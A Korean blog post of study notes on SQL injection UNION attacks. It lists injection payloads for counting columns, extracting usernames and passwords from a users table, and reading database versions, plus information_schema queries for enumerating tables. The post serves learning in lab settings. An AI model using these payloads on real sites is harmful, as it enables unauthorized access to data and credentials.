※ 해킹 관련 게시글은 공부한 내용을 정리를 위한 목적으로 게시하였습니다. 꼭 가상 서버 및 연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지합니다. 또한 블로그에서는 절대로 책임지지 않습니다.
1. 목표 : 다른 데이터베이스 테이블에서 데이터 검색
2. 방법 :
1) 에러가 발생하지 않을 때까지 NULL을 증가하여 컬럼 갯수 확인
(1) '+UNION+SELECT+NULL--
(2) '+UNION+SELECT+NULL,NULL--
...
2) NULL 열에서 'a'가 들어가도 에러가 발생하지 않은 곳 찾기
(1) '+UNION+SELECT+'a',NULL,NULL--
(2) '+UNION+SELECT+NULL,'a',NULL--
(3) '+UNION+SELECT+NULL,NULL,'a'--
3) users 테이블 내 아이디, 패스워드 찾기
(1) '+UNION+SELECT+NULL,NULL--
(2) '+UNION+SELECT+username,password+FROM+user--
4) Oracle DB에서 DB버전 정보 확인
(1) '+UNION+SELECT+NULL,NULL+FROM+DUAL--
(2) '+UNION+SELECT+'abc','def'+FROM+DUAL--
(3) '+UNION+SELECT+banner,NULL+FROM+v$version--
5) Microsoft and MySQL DB버전 정보확인
(1) '+UNION+SELECT+NULL,NULL#
(2) '+UNION+SELECT+@@version,NULL#
※ 대부분 데이터베이스 유형(Oracle을 제외하고)에는 데이터베이스에 대한 정보를 제공하는 정보 스키마 뷰세트가 있다.
information.schema.tables를 쿼리하여 데이터베이스의 테이블을 나열 할 수 있다.
▶ SELECT_FROM information_schema.tables에서 출력 반환값
→ SELECT * FROM information_schema.tables
TABLE_CATALOG |
TABLE_SCHEMA |
TABLE_NAME |
TABLE_TYPE |
My Database |
abo |
Products |
BASE TABLE |
My Database |
abo |
Users |
BASE TABLE |
My Database |
abo |
Feedback |
BASE TABLE |
▶ information_schema.columns를 쿼리하여 개별 테이블의 열을 나열
→ SELECT * FROM information_schema.columns
TABLE_CATALOG |
TABLE_SCHEMA |
TABLE_NAME |
COLUMN_NAME |
DATA_TYPE |
My Database |
abo |
Users |
UserId |
int |
My Database |
abo |
Users |
Username |
varchar |
My Database |
abo |
Users |
Password |
varchar |
'보안 > WEB' 카테고리의 다른 글
[WEB 보안] SQL 연결연산자로 DB 확인 (0) | 2020.05.02 |
---|---|
[WEB 보안] SQL Injection-UNION Attack_2 (0) | 2020.04.27 |
[WEB 보안] SQL Injection 취약점_기타 (0) | 2020.04.26 |
[WEB 보안] Blind SQL Injection 취약점_2 (0) | 2020.04.26 |
[WEB 보안] 데이터베이스 버전 확인 (0) | 2020.04.22 |